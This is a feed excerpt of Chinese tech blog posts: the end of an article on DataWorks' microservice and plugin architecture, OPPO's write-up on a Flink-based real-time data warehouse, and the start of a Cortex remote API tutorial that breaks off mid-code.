        满足上述三点的云原生环境,对于微服务来说天然适配。当一个产品发展到一定规模,且具备了足够体量,拥有数量众多的子产品,以至于交互和依赖关系日益复杂,则微服务架构将为这样的产品下的工程群带来显然易见的好处。本文不对微服务的基本概念和泛泛的常规做法做详细介绍,网上此类文章汗牛充栋,这里仅推荐两本不错的书《微服务设计》(前几章概念讲解还可以,后面部分一般)和《微服务架构设计模式》,前者适合初步了解,后者适合进阶。本文仅讨论DataWorks在新的架构下的做法,从实践中得真知。

        对于DataWorks研发平台下众多产品应用来说,微服务架构方向的改造也许不是能破解所有问题的万能钥匙,但一定是当前开发模式所遭受的病痛的解药。

        ★ 3.1.1 认清自身

        DataWorks研发平台属于典型的PaaS应用,当然也有数据服务这样的产品做到了SaaS层。传统SOA遇到的痛点,以及将来我们要对客户开放的定制化能力,需要借助微服务架构来应对,逐步将研发重心从PaaS移向SaaS。

        当我们采用基于K8S容器化的微服务架构之后,开发者可以在我们自主研发的微服务平台中集成DataWorks平台开放出来的基础OpenAPI,也可以集成外部应用的API,在微服务中进行数据整合和业务逻辑的编写,最终暴露出一系列在平台前端可访问的API,供前端功能模块使用。在这个过程中,我们可以顺便化解前文提到的一些痛点。

        image.png

        ★ 3.1.2 解决痛点

        以历史包袱为例,我们可以逐步将年久失修的,陈旧的SOA单体服务中包含的功能进行替换,将这个快变质的大饼切割成一个个低耦合的小饼,实现逐步的更替,而非采用长周期的一次性整体替换。陈旧的工程不必再去发展更新,仅维持基本的运行,避免了整体替换带来的周期长,故障多,回滚困难的问题。而且我们可以很方便的通过金丝雀发布来验证新上的“小饼”是否成功替代了“变质大饼”中一小部分模块的功能,通过蓝绿部署将有问题的小饼快速及时的撤下,也可以做到通过ABTest来验证哪块小饼的性能更好、设计更合理。

        再以个性化需求为例,当我们开放了和DataWorks业务耦合的微服务平台,具备自研能力的业务团队(如数据/报表开发团队)就可以借助微服务的设计,快速的将自己的需求设计到我们DataWorks平台后端,同时前端页面我们也会留出“自留地”(下文描述的插件化)供业务团队自行设计开发。引擎的接入同样可以参照此模式进行,DataWorks下一部分模块的接入可以更加的傻瓜化,比如检查器,比如功能强大的自定义节点等,用户根据文档经过简单的开发后就可以快速自主接入使用,但对于更加订制的功能,例如当前ADB引擎正在DataWorks平台上进行的可视化建表部分的设计,由于复杂度很高,因此必须通过微服务对接前端插槽(下文描述)来进行开发,从而实现复杂业务逻辑的自主自助接入。

        再来描述一下基于架构的灰度机制,在微服务架构下,可以轻松的实现蓝绿部署,金丝雀发布和ABTest,我们的微服务设计应该是尽量面向领域的(当然不太可能做到100%的面向领域),高内聚低耦合依然是单个微服务的设计宗旨。我们可以发布多个版本的微服务用来测试某个领域的问题是否得到某方面的改善,也可以发布多个完全基于不同框架甚至是不同语言设计的微服务,来验证某个领域内谁是最优解。借助于基于架构的灰度机制,基于云原生,这一切都将非常高效且可靠,即使出现问题,也可以快速撤下有问题的微服务,避免扩大影响。

        还有其他一些痛点,不一一描述基于微服务架构的解法,比如牵一发而动全身的问题,在DataWorks平台全面构建到微服务架构上之后,这个问题自然就会消失。每个同学都可以分管多个面向领域的足够小的微服务,当某个接口需要重新设计,不必立即替换老的接口,而可以将这个接口下对应的微服务低成本的重新设计,等待流量切换到新的微服务后,再逐步下线旧版本微服务。再比如SpringBoot下由Starter引入的耦合性,到了微服务框架下,将会通过服务发现来解耦,不再需要通过代码层面的依赖来耦合关联。

        ★ 3.1.3 循证架构

        再回过头来讲讲本文还没提及的一块内容,我们的微服务到底是什么?微服务当然不是一定要以微小为特征,它还是一个SOA,只不过会更加轻量级更加面向领域。以机器人工厂为例,该产品有一个功能是让用户配置一些意图跳转到用户自己设计的应答逻辑中,这部分正在拥抱微服务架构,完成上线后,用户可以根据输入来设计自己的应答微服务,且语言无关。这样做还可以避免用户的微服务在设计不良的情况下崩溃,不至于影响到其他正在运行的微服务,机器人工厂的这个场景也可以设计成FaaS,用户只需要编写函数就可以完成自己的应答逻辑,且按访问量来计量使用情况。

        image.png


        机器人工厂应用微服务


        DataWorks团队设计的微服务平台,充分拥抱了现在大热的Service Mesh,即服务网格,通过Mesh将一部分工作封装在前置的微服务里,这些系统级微服务与开发者设计的微服务运行在同一个pod里,使得开发者设计的微服务更加简单,Mesh更像是Spring框架下的HandlerInterceptor或者Filter,面向AOP编程的开发者擅长在工程里开发拦截器和过滤器,到了集成了Service Mesh的微服务框架下,可以方便的使用系统级微服务替代一部分传统拦截器的工作。比如登陆跳转、权限控制、服务发现,比如限流、监控、日志聚合等等。

        image.png


        Service Mesh


        让业务专注于业务本身,避免诸如登录配置、日志配置等对工程开发的干扰,同时我们还设计了不同语言的DMF(DataWorks MicroService FrameWork)框架群,帮助开发者快速上手微服务的开发。“没有最好的架构,只有最合适的架构”,将来我们也会开放DMF的开发设计,让更多业务方贡献自己的“最合适的微服务框架”。为了更好的支持和我们业务强相关的DevOps,我们开发了DataWorks微服务平台(DMSP:DataWorks MicroService Platform),用于管控微服务的部署和发布,以及服务治理等其他运维工作。

        3.2 前端的体系配合

        前面提到的插件化指的是我们前端团队设计的XStudio插件化方案,插件结合后端微服务,成为一套整体的解决方案,DataWorks平台的前端团队希望基于此,尝试探索出一套提升前端研发效率的方法论。XStudio插件化基于 single-spa 和 qiankun框架实现。该框架提供了多实例模式,插槽机制和可视化插件编排等重要特性,进一步提升了插件开发的效率。整套插件化的示意图如下:

        image.png


        前端同学在基于XStudio插件化设计的页面上,留好插槽,插槽里面可以是一个按钮,也可以是其他任意类型的组件,这个组件后面绑定一个微服务,我们可以将插槽里面的内容连同后端的微服务一并替换,实现页面功能的快速组装,从而实现一次开发的多处使用。同时,插槽里的内容也可以由业务开发团队来提供,那么业务开发团队也只需要自行设计前后端一体的这样一个插件来放置到前端插槽里,实现个性化需求的订制开发。

        在传统的插件化设计里,开发者们要么提供一个遵循某种接口协议的二方包、要么提供一系列遵循某种协议的API再由SOA架构向前端输出。这带来的问题要么是对SOA服务有侵入,要么影响了SOA服务整体的安全性和稳定性问题,要么受限于编程语言、要么毫无灵活性,而微服务&插件化完美的解决了这类问题。

        对于需要占用更多页面空间的设计,我们可以将大片区域设置成可替换组件,比如上图的编辑器部分,让用户自行替换掉这片区域的页面内容,跟后端一个或者多个微服务关联起来嵌入到DataWorks的前端页面中,方便业务团队实现更复杂的自定义业务逻辑。当前ADB的可视化建表部分的设计正是遵循了这套方案,由ADB引擎团队自行开发接入DataWorks平台中。

        同时,前端体系中还有重要的一环是受访的数据监控和报警,我们设计了各种维度的报表和指标监控,无论是自己的业务还是外部业务团队写进来的组件,不用多写一行代码,都可以通过“自动化全量埋点技术”,观察和了解组件的使用情况。

        image.png


        热力图

        3.3 插件的运行

        当前我们已经将部分前端基于XStudio架构的组件与后端微服务配合起来实现了插件化封装,比较优秀的如Terminal,DWEditor,目录树,检查器等插件。以Terminal为例,该插件设计完成后,插入到不同的Studio中对接不同的引擎,并且可以根据用户的使用情况自动拉起或者销毁容器实例,从而节省运行资源。

        Terminal插件接入到多个引擎,无论是前端还是后端的微服务都不用针对引擎进行额外的开发,从而实现开发效率的提升。插件化的封装设计,不仅可以节约开发资源,而且可以实现多个应用集中使用一套微服务的目的,而弹性编排和自动扩缩容机制保证了服务的性能,同时不至于浪费机器资源。

        image.png


        Terminal插件的架构设计图


        此外,基于微服务架构,我们还可以构建SaaS的一些实现,例如FaaS、BaaS(Backend as a Service),以及BFF(Backend For Frontend)。以BFF为例,移动端的DataWorks应用BFF后,可以减少移动端H5页面的网络消耗,将后端多个微服务提供的接口通过Gateway组装后提供给移动端,实现微服务的聚合。如果通过BFF做了SSR(Server Side Render:页面同构,相当于在服务器端直接渲染成html输出到浏览器),则可以进一步降低移动端的渲染性能消耗。

        ★ 3.3.1 DataWorks微服务平台

        前后端一体基于DataWorks业务的插件化,也是我们坚持要自研设计开发DataWorks微服务平台(DMSP:DataWorks MicroService Platform)的重要原因。DMSP打通了前端组件的发布和后端微服务的绑定关联,通过Swagger这样的技术手段成功使得前后端在部署后可以迅速成为一个业务插件。让团队的前后端都可以在DMSP里面实现DevOps,以持续交付的方式源源不断的将新功能发布给客户。

        尤其值得说明的是,DMSP同样是针对三大环境的,即弹内、公有云和混合云,插件开发完成后,我们要通过DMSP持续交付到公有云多达20个region的环境中,还要能够实现微服务在专有云的统一打包部署。并且,DMSP还要让开发插件的同学尽量对复杂的外界部署环境无感。

        未来我们期望整个DataWorks平台的大部分页面内容都基于插件化设计,从而解决前文痛点里面提到的问题:“灵活轻便,便于随时随地的拆散组合轻装上阵”。架构驱动的不仅仅是开发模式,而且势必还将影响到整个产品的蓝海。

        四、构造生态

        构造生态的重要前提是要有竞争,要有优胜劣汰,构造生态的同时就是在构造可以演变,可以适用进化论的技术体系。作为“循证架构”的升华,微服务架构显然在进化方面更胜一筹,循证架构是一种自上而下用进废退的技术演进路线,而微服务架构则是一种自下而上优胜劣汰的技术演进路线。容器化实现了语言无关,框架无关,每个微服务都被无差别地封装在容器里,从而可以针对一个功能开发出多种微服务,类似算法桶的优选机制,从这些完成同一个功能的微服务中挑选出最优解。在理想情况下,无需上层架构师的主动干预,应用就可以在一段时间的进化后自组装成最佳的实践。当然这只是理论上的情形,我们身处的现实世界受很多外界因素的干扰,实际情况下,受限于开发者的技术素养、外界依赖的参差不齐,甚至是受限于KPI的导向,都将使得这种理想下的最佳实践无法达成,但微服务架构给予了我们可以通过团队的协作和努力,从而无限接近理论中的最终解的能力。

        在微服务架构下,前文提到的垂直业务的定制开发也将成为一种可能性,面向行业的交付团队可以利用DataWorks平台提供的插件化能力,为客户订制完全适配行业特征的智能研发平台。进而在DataWorks研发平台上营造一个有活力的创新生态圈,为客户提供更加丰富多彩的选择。架构将驱动整个生态圈的优胜劣汰,从而不断向更有竞争力的方向进化。

        我们DataWorks研发团队也寄期望于在这套架构之上,实现弹内弹外的共赢模式的合作,推动云智能事业群下的产品形成合力。

        五、前后端组合拳

        所谓架构,不仅是技术上的事情,同时也要对人力的分配组织提供整套的指导方案。在应用了微服务架构之后,DataWorks研发团队的职责显然不能仅仅局限于日常的需求开发,作为微服务架构的倡导者,在推进架构的同时我也对团队的前后端职责进行了思考。首先前后端需要拉出一个框架小组,通过指导前端组件和后端微服务的设计来影响整个架构的进化,团队内需要有关注面向领域设计的研讨,分析每个插件是否是领域性的,同时需要有把关的同学,审核第二方(弹内非本团队的开发者)和第三方(弹外的交付团队或者来自客户的行业开发者)提交的插件设计,防止不良应用破坏体系构建。

        同时,微服务架构由于语言无关性,还抹平了一些技术上的鸿沟,前端同学很多擅长nodejs,也可以在微服务的设计中一展身手,更使前后端在技术上的交流和沟通会更加有默契。我们的产品线中还有一个特殊的产品:AppStudio,专职于WebIDE的研发工作,将来无论是数据服务提供的数据出口,还是FaaS里的函数,还是微服务本身的开发,都可以与AppStudio结合,由用户自主开发,可以完全不用脱离DataWorks全域大数据平台,就从数据开发到报表设计,再通过微服务编写业务逻辑,达成数据输出的目标,一站式完成用户的订制需求。

        image.png


        架构驱动职责的转变


        上图是未来的团队职责分工的一个构思,前后端研发同学在这套组织架构下,打出一套组合拳,直击痛点问题,帮助用户攻克技术难关,实现生态的繁荣昌盛。

        六、展望未来

        技术和架构的未来是什么样子的?在我的理想中,软件工程的研发技术应该是一个没有止境和边界,且越来越智能化的领域。DataWorks的产品中已经有很多开始向智能化的方向前进,比如基于VSCode应用了Markov算法的智能编程插件。研发团队的未来很大程度上取决于体系的架构,我们应该鼓励创新,鼓励对技术前沿和边界的探索,不应该人为的制造太多规约从而限制了思考的天马行空。如果有一天,智能化编程终于开始替代人工开发,那么通过改变架构的设计,研发人员也一定可以在新的架构中寻找到新的职责。

        世界是变化的,也是有规律的,我们的技术愿景应当是为这个变化的世界构建出成熟且不断进化的工程体系。面向未来,拥抱变化,为了无法计算的价值!欢迎识别下方二维码,了解团队信息,加入飞天大数据交流群和DataWorks产品进行交流!

        如果您想加入我们,请点击以下链接了解最新招聘信息http://g.alicdn.com/dtux-statics/dtux-statics/campus-recruiting-2019.html

        image.png

        ]]>
        OPPO 实时数仓揭秘:从顶层设计实现离线与实时的平滑迁移 Fri, 02 May 2025 09:39:04 +0800 一、建设背景

        关于 OPPO 移动互联网业务

        大家都认为 OPPO 是一家手机公司,但大家可能并不清楚,其实 OPPO 也会做与移动互联网相关的业务。在 2019 年 12 月,OPPO 发布了自己定制的手机操作系统 ColorOS 7.0 版本。目前包括海外市场在内,ColorOS 的日活已经超过了 3 亿。ColorOS 内置了很多移动互联网服务,包括应用商店、云服务、游戏中心等,而这些服务的日活也达到了几千万级别。

        640.jpeg

        以数仓为核心的数据架构

        为了支撑这些移动互联网服务,OPPO 建立了如下图以数仓为核心的数据架构。图中蓝色的部分,相信大家应该都很熟悉,这部分基本上都是一些开源的组件,从数据接入,到基于数仓实现交互式查询、数据处理,再到数据应用。其中的应用主要分为三个方面:

        • 第一是会将数据导入到 ES 里面去做一些用户的标签以及人群的定向投放等。
        • 第二是将数据导入到 MySQL 或者 Kylin 里面去做 BI 报表。
        • 第三是将数据放到 Redis 或者 HBase 里面去做服务接口。

        在过去几年的时间里面,OPPO 内部的这套以数仓为核心的数据架构已经逐渐开始成熟了。

        640-2.jpeg

        以数仓为核心的数据架构

        但是随着业务的发展以及数据规模的不断膨胀,OPPO 对于数仓实时化的诉求越来越强烈。OPPO 对于数仓实时化的诉求可以分为两个维度,即业务维度和平台维度。

        • 对于业务维度而言,越来越需要去做精细化的运营,也越来越需要去挖掘数据的价值,所以无论是实时报表、实时标签还是实时接口等都需要实时化能力。
        • 对于平台维度来讲,也需要实时化。因为整体的数据规模越来越大,通常像传统“T+1”的数据处理模式使得在凌晨的时候服务压力非常大。如果能够将整个集群的压力均摊到全天的 24 小时里面去,那么整个集群的使用效率就会更高一些。所以,即使从调度任务、用户标签的导入等来看,如果能够非常及时地发现数据的异常,对于平台而言也是需要很多的实时化能力。

        640-3.jpeg

        二、顶层设计

        实时数仓的现状

        目前 OPPO 实时数仓的规模是 Flink 已经达到了 500 多个节点,Kafka 大概达到了 200 多个节点。在元数据维度,实时数据库表达到了 500 多张,实时作业大概有 300 多个。在数据规模维度,每天总数据处理量超过了 10 万亿,峰值大概超过每秒 3 亿。

        640-4.jpeg

        实时数仓 VS 离线数仓

        谈到实时数仓的顶层设计,也不得不谈到实时数仓的底层逻辑,因为底层逻辑决定顶层设计,而底层逻辑则来自于实时的观察。

        下图中将实时数仓和离线数仓放在一起进行了对比,发现两者的相似性很多,无论是数据来源、数据使用者、数据开发人员以及数据应用都非常相似,两者最大的差异点在于时效性,因为实时数仓中数据的时效性需要达到分钟级或者秒级。

        640-5.jpeg

        离线到实时数仓的平滑迁移

        当有了对于底层逻辑的观察之后,就能够推导出顶层设计情况。OPPO 希望所设计出来的实时数仓能够实现从离线到实时的平滑迁移,之前大家如何使用和开发离线数仓,如今到了实时数仓也希望大家如何开发和使用。通常而言,当设计一款产品或者平台的时候,可以划分为两层,即底层实现和上层抽象。对于底层实现而言,可能会有不同的技术,从 Hive 到 Flink,从 HDFS 到 Kafka。而在上层抽象而言,则希望对于用户而言是透明的。

        640-6.jpeg

        无论是离线还是实时,最终都希望数仓的核心抽象就是一个 Table,围绕着这个核心的抽象,上面还有三个维度的抽象。

        • 第一个抽象就是数仓的结构,根据不同的结构能够划分不同的主题域和层次。
        • 第二个抽象就是数仓的开发模式,基本上都是 SQL+UDF 的开发模式。
        • 第三个抽象就是管理,从管理上来看,数仓无非就是如何管理其权限以及数据的血缘和质量。

        从以上三个抽象维度来看,我们希望从离线到实时能够将抽象保持一致的,这样对于用户而言成本是最低的。接下来则会为大家介绍如何将迁移的成本保持最低。

        离线实时一体化接入链路

        首先为大家介绍离线实时一体化接入链路,OPPO 的数据从手机端到 OBus 内部数据收集服务,收集之后会统一落入到Kafka中去,再通过 Flink SQL 的任务可以同时落入 HDFS 和 Kafka 中去。Flink 可以实现数据通道的拆分,对于 OPPO 这样一个手机公司而言,很多 APP 上报都是通过同一条通道,因此在将数据落入到数仓之前需要对于数据通道进行拆分,根据不同的业务和属性做一些拆分,除此之外还会做一些格式的转换。另外一部分功能就是实现数据的监控,因为将数据落入到 HDFS 时需要有一个很重要的问题就是分区感知问题,比如离线 ETL 任务如何知道分区已经结束了。

        OPPO 的做法是根据端到端不同数据的对账实现的,因此需要在 Flink SQL 这一层完整地记录收到多少条数据,写入了多少条数据,然后和前面的 OBus 做一个数据对账的对比,如果对比结果在一定范围之内,就可以写一个成功文件,这样就可以让后端的 ETL 任务开始运行。

        640-7.jpeg

        使用 Flink SQL 所 带来的好处在于:

        • 第一,Flink SQL 可以保证端到端的一致性,无论是从 Kafka 到 Kafka,还是从 Kafka 到 HDFS,都能够保证端到端的数据一致性,这一点对于接入链路而言是非常重要的。
        • 第二, Flink SQL 具有强大的数据预处理能力,OPPO 过去在数据接入通道里面使用过 Flume 等,但是这些组件的数据处理性能很难提升上去,因此需要追加很多机器来实现性能提升。而使用 Flink 之后,使得数据处理能力有了巨大提升。
        • 第三,能够使用一套代码来实现将数据落入到 HDFS 和 Kafka 里面去,因此大大降低了维护成本。

        离线实时一体化的管理流程

        对于数仓的管理流程而言,无非就是元数据是如何管理的,表的字段是如何定义的,表的血缘如何追踪以及表的权限如何管理,以及表的监控如何实现。如今在 OPPO 内部,离线和实时数仓的这些管理流程能够做到一致,首先两者使用的流程是一致的,其次表的 Schema 的定义以及表的血缘能够保证一致,而不需要用户重新申请和定义。

        640-8.jpeg

        离线实时一体化的开发环境

        对于数仓的开发而言,抽象下来可以分为三个层面,即离线批处理的开发、流式开发以及交互式查询。而对于用户而言,希望能够保证用户体验的一致,并且希望实现开发流程的统一。

        640-9.jpeg

        实时数仓的层级划分

        如下图所示的是 OPPO 实时数仓的分层结构,从接入层过来之后,所有的数据都是会用 Kafka 来支撑的,数据接入进来放到 Kafka 里面实现 ODS 层,然后使用 Flink SQL 实现数据的清洗,然后就变到了 DWD 层,中间使用 Flink SQL 实现一些聚合操作,就到了 ADS 层,最后根据不同的业务使用场景再导入到ES等系统中去。当然,其中的一些维度层位于 MySQL 或者 Hive 中。

        640-10.jpeg

        SQL 一统天下的数据架构

        对于数仓领域的近期发展而言,其中很有意思的一点是:无论是离线还是实时的数据架构,都慢慢演进成了 SQL 一统天下的架构。无论是离线还是实时是数据仓库,无论是接入,查询、开发还是业务系统都是在上面写 SQL 的方式。

        640-11.jpeg

        三、落地实践

        前面为大家分享了 OPPO 实时数仓实践的顶层设计,当然这部分并没有全部实现,接下来为大家分享 OPPO 已经有的落地实践,

        SQL 开发与元数据管理的实现

        想要做实时数仓所需要的第一步就是支持 SQL 的开发与元数据管理的实现。OPPO 在这部分的设计大致如下图所示。

        这里需要元数据系统和开发系统,需要能够在元数据系统中创建实时表并在开发系统里面创建实时作业并写 SQL,而无论是创建 Table 还是 Job,都需要能够持久化到 MySQL 里面去。

        然后再去扩展 Flink 里面的组件,并将其从 MySQL 里面加载出来。

        • 对于表而言,可以扩展 Flink 的 Catalog,通过 Catalog 可以从 MySQL 中加载出来,再转化成 Flink 内部表达的数据表。
        • 对于作业而言,OPPO 则使用了谷歌开源的框架,通过对于 Job Store 的实现可以从数据源头比如 MySQL 来加载这个作业,将这个作业提交给 Flink 的 Table 环境来做作业的编译,最终定义成为 Job Graph,然后提交给 YARN,这样的流程就是支撑 OPPO 实时数仓的框架。

        640-12.jpeg

        冗余消费 Kafka Topic 问题的优化

        在 OPPO 的场景下,我们发现了自己所存在的一个很棘手的问题,那就是很多用户在写 SQL 的时候会出现同一个作业需要写多个 SQL,比如刚才提到的接入场景,如果想要做通道的拆分,通常而言需要来自同一个表格,经过不同的过滤,然后导入到不同的数据表里面去,而 OPPO 希望在单个作业中就能够实现这样的表达。

        但是这样做所带来的问题就是将多个 SQL 放在一个作业里面执行就会生成多个 Data Source,多个 Data Source 就会重复地消费 Kafka,这就使得 Kafka 集群的压力非常大,原因是很多 Kafka 机器的写入和读取的操作比例差距非常大,一个 SQL 的作业可能会读取很多次 Kafka 的 Topic。而这是没有必要的,因为对于同一次作业而言,只需要消费一次 Kafka 即可,接下来数据可以在 Flink 内部进行消化和传播。

        OPPO 针对于上述问题实现了一个非常巧妙的优化,因为 Flink 的 SQL 会生成一个 Job Graph,在这之前会生成一个 Stream Graph。而 OPPO 通过改写 Stream Graph,使得无论用户提交多少个 SQL,对应只有一个 Data Source,这样就降低了对于 Kafka 的消费量,而且带为用户来了很大的收益。

        640-13.jpeg

        实时数据链路的自动化

        线上 BI 的实时报表是非常通用的场景,对于实时报表而言,往往需要三个环节的配合:

        • 第一个环节是数据分析师去写 SQL 实现对数据的处理;
        • 第二个环节是从一个数据表过来统计或者清洗,再写入到 Kafka 里面去,通过平台的研发人员再将数据打入到 Druid 里面去;
        • 最终的一个环节就是用户需要去 BI 系统中查看报表,因此就需要从 Druid 这张表导入到 BI 系统中去。

        640-14.jpeg

        上述链路中的数据处理、数据导入和数据展现三个环节是比较割裂的,因此需要三种不同角色的人员来介入做这件事情,因此 OPPO 希望能够打通实时数据链路。OPPO 做了如下图所示的实时数据链路的自动化,对于 Kafka 的表做了抽象,而对于用户而言,其就是用于做 BI 展示的表,Kafka 的表需要定义哪些是维度、哪些是指标,这是做报表展示最基本的字段定义。

        当完成了上述任务之后,就可以将整个实时数据链路以自动化的方式串起来。当用户将 SQL 写完之后,可以自动化地探测 Report Table 需要导入到 Druid 里面去,以及哪些是指标,哪些是维度,并且可以将数据从 Druid 自动地导入到 BI 系统。这样一来,对于用户而言只需要写一个 SQL,之后就可以在 BI 系统之上看到报表了。

        640-15.jpeg

        实时数据链路的延迟监控

        之前,OPPO 做数据链路的延迟监控时也属于单个点进行监控的,可以从下图中看出至少有三级的 Kafka 的 Topic,对于每个 Topic 都存在延迟的监控。而对于用户而言,关注的并不是点,而是面,也就是最终展现的数据报表中延迟情况如何。

        因此, OPPO 也实现了全链路的延迟监控,从接入的通道开始到每一层的 Kafka 消费,都将其 lag 情况汇总起来,探索到每一级的 Flink SQL 表的血缘关系。有了这样的血缘关系之后就可以从 Druid 表推导到前面所接入的链路是哪一个,然后将总体延迟加起来,这样就可以反映出整体链路的延迟情况。

        640-16.jpeg

        实时数据链路的多租户管理

        对于实时数据链路而言,多租户管理同样非常重要。OPPO 在这部分的实践的核心是两点:

        • 其中一点 Kafka 里面的认证和配额机制,当有了认证和配额机制之后可以对于用户做配额管理,比如对于 Kafka 的消费速度、生产速度等。
        • 另外一点就是用户在向 YARN 上面提交的作业的时候也可以指定队列,这样就可以指定用户消耗多少资源。

        640-17.jpeg

        四、未来展望

        更便捷的 SQL 开发

        因为 OPPO 现在的实时数仓是基于 SQL 做的,所以在未来希望能够具有更好的、更便捷的 SQL 开发能力,总结来下就是以下四点:

        • 表达能力:虽然 Flink SQL 正在朝着标准 SQL 不断演进,但是目前一些场景仍旧无法满足,比如在一个 SQL 里面做多个窗口的统计等,因此需要增强Flink SQL 的表达能力。
        • 连接类型:如今,实时数据仓库的应用越来越多,因此也需要扩充更多的连接器,比如 Redis 等的 Sink。
        • 开发模板:谷歌开源了 Dataflow Template,这是因为用户在做统计、汇总等很多的情况下,方法是通用的,因此对于用户而言这些通用操作可以做成模板,避免重复编写 SQL。
        • 开发规范:这也是 OPPO 在线上实践中所观察到的问题,很多数据分析师写的 SQL 的性能很差,开发人员在定位问题时往往会发现 SQL 的编写不规范,只需要进行一些小优化即可提升性能,因此未来需要将这些能力沉淀到系统里面去。

        640-18.jpeg

        更细力度的资源调度

        目前,OPPO 是基于 YARN 做 Flink 的集群调度,而 YARN 的调度是基于 VCore 以及内存维度实现的。在线上运行时就发现一些机器的 CPU 利用率很高,另外一些却很低,这是因为不同的 SQL 处理的复杂度以及计算密集度是不同的,如果还是和以前一样分配 VCore,那么很可能导致对于资源的利用率不同,因此未来需要考虑将 SQL 对于资源的调度加入到考虑范围内,尽量避免资源的倾斜。

        640-19.jpeg

        自动化的参数配置

        对于数据分析师而言,大家都知道Flink里面存在一些高级配置。除了写 SQL 之外,还有很多其他的知识,比如操作的并发度、状态后台以及水位间隔等,但是用户往往会很难掌握如何配置这些复杂参数,因此 OPPO 希望未来能够将这些复杂的参数配置实现自动化。通过理解数据的分布情况和 SQL 的复杂情况,自动地配置这些参数。

        640-20.jpeg

        自动化的伸缩调优

        更进一步,可以从自动化实现自适应,变成智能化,也就是自动化的伸缩调优。之所以要做自动化的伸缩,主要是因为两点,第一,数据分布本身就是存在波动性的;第二,机器在不同的时间段也存在不同的状态,因此需要及时探测和修复。因此,自动化的伸缩调优对于大规模集群的成本节省是至关重要的。

        640-21.jpeg

        作者介绍:

        张俊,OPPO 大数据平台研发负责人,主导了 OPPO 涵盖“数据接入-数据治理-数据开发-数据应用”全链路的数据中台建设。2011-硕士毕业于上海交通大学,曾先后工作于摩根士丹利、腾讯,具有丰富的数据系统研发经验,目前重点关注数仓建设、实时计算、OLAP 引擎方向,同时也是Flink开源社区贡献者。

        更多案例:

        小米 |小米流式平台架构演进与实践
        bilibili |从 Spark Streaming 到 Apache Flink:bilibili 实时平台的架构与实践
        网易 | 覆盖电商、推荐、ETL、风控等多场景,网易的实时计算平台做了啥?
        美团点评 |美团点评基于 Flink 的实时数仓平台实践
        菜鸟物流 | 菜鸟供应链实时数仓的架构演进及应用场景
        Lyft |Lyft 基于 Flink 的大规模准实时数据分析平台(附FFA大会视频)
        奇安信 |基于 Flink 构建 CEP 引擎的挑战和实践
        携程 |监控指标10K+!携程实时智能检测平台实践
        贝壳 |实时计算在贝壳的实践

        ]]>
        使用CortexAPI 实现Cortex的基本操作 Fri, 02 May 2025 09:39:04 +0800 官网上的 API 介绍

        在官网上,提供了一下几种 API Remote API / Alerts & Rules API / Configs API / Endpoints / Manage Rules . 这里呢,我只说这里的 RemoteAPI .

        我们先看一下这个 Remote API :
        12.png

        写的很详细,目前是算比较详细的,笔者在一开始看的时候就几行,第一行:支持Prometheus 的 remote_read / remote_write , 第二行 , 对于Http post 里面的请求体首先是 Protocol Buffers , 再来一个 snappy . 第三行是 远程读写 api . 目前来看是又修改了下。而且我们也能看到,当前的这个 Cortex 的APIS 正在编写中。

        Remote API

        这里的 remote api 官网讲了两个,这两个对应着的是 Prometheus 中的 remote_write / remote_read . 这里对这两个做个简单的介绍,笔者这里也主要用到了的 remote_write .

        remote_write

        刚刚说了,这里的 remote_write 对应着的是 Prometheus 里面的那个 remote_write .所以呢,我们现在需要到 Prometheus 里面看看这个remote_write 的基本配置是什么样的。

        我们进入到Prometheus 的官网,去看一下。 我这里不贴全部的,全部的大家去官网查看就好:

        # The URL of the endpoint to send samples to.
        url: <string>
        
        # Timeout for requests to the remote write endpoint.
        [ remote_timeout: <duration> | default = 30s ]
        
        # List of remote write relabel configurations.
        write_relabel_configs:
          [ - <relabel_config> ... ]
        
        # Sets the `Authorization` header on every remote write request with the
        # configured username and password.
        # password and password_file are mutually exclusive.
        basic_auth:
          [ username: <string> ]
          [ password: <string> ]
          [ password_file: <string> ]
        
        # Sets the `Authorization` header on every remote write request with
        # the configured bearer token. It is mutually exclusive with `bearer_token_file`.
        [ bearer_token: <string> ]
        
        # Sets the `Authorization` header on every remote write request with the bearer token
        # read from the configured file. It is mutually exclusive with `bearer_token`.
        [ bearer_token_file: /path/to/bearer/token/file ]
        
        # Configures the remote write request's TLS settings.
        tls_config:
          [ <tls_config> ]
        
        # Optional proxy URL.
        [ proxy_url: <string> ]

        这里的配置,写的很清楚,这里笔者用到的主要是两个配置,一个是 url , 一个是 basic_auth ,大家可以参考我之前的一个文章使用Cortex实现Prometheus的多租户管理 . 很简单的一个remote_write 。

        隐藏的 API

        如果你以为,我这就完了,那你就错了。我这里讲的是 Cortex 里面的查询的 APIs , 这里的几个API 目前官网我还没看到,也可能是因为我没找到吧。

        这里呢,没必要去跟大家介绍每一个API。大家看一下这个API接口就清楚了:

        // API provides bindings for Prometheus's v1 API.
        type API interface {
            // Alerts returns a list of all active alerts.
            Alerts(ctx context.Context) (AlertsResult, error)
            // AlertManagers returns an overview of the current state of the Prometheus alert manager discovery.
            AlertManagers(ctx context.Context) (AlertManagersResult, error)
            // CleanTombstones removes the deleted data from disk and cleans up the existing tombstones.
            CleanTombstones(ctx context.Context) error
            // Config returns the current Prometheus configuration.
            Config(ctx context.Context) (ConfigResult, error)
            // DeleteSeries deletes data for a selection of series in a time range.
            DeleteSeries(ctx context.Context, matches []string, startTime time.Time, endTime time.Time) error
            // Flags returns the flag values that Prometheus was launched with.
            Flags(ctx context.Context) (FlagsResult, error)
            // LabelNames returns all the unique label names present in the block in sorted order.
            LabelNames(ctx context.Context) ([]string, api.Warnings, error)
            // LabelValues performs a query for the values of the given label.
            LabelValues(ctx context.Context, label string) (model.LabelValues, api.Warnings, error)
            // Query performs a query for the given time.
            Query(ctx context.Context, query string, ts time.Time) (model.Value, api.Warnings, error)
            // QueryRange performs a query for the given range.
            QueryRange(ctx context.Context, query string, r Range) (model.Value, api.Warnings, error)
            // Series finds series by label matchers.
            Series(ctx context.Context, matches []string, startTime time.Time, endTime time.Time) ([]model.LabelSet, api.Warnings, error)
            // Snapshot creates a snapshot of all current data into snapshots/<datetime>-<rand>
            // under the TSDB's data directory and returns the directory as response.
            Snapshot(ctx context.Context, skipHead bool) (SnapshotResult, error)
            // Rules returns a list of alerting and recording rules that are currently loaded.
            Rules(ctx context.Context) (RulesResult, error)
            // Targets returns an overview of the current state of the Prometheus target discovery.
            Targets(ctx context.Context) (TargetsResult, error)
            // TargetsMetadata returns metadata about metrics currently scraped by the target.
            TargetsMetadata(ctx context.Context, matchTarget string, metric string, limit string) ([]MetricMetadata, error)
        }

        看到这个是不是就很好理解了?

        我们在使用的时候,首先需要先知道一个结构体:

        type Client struct {
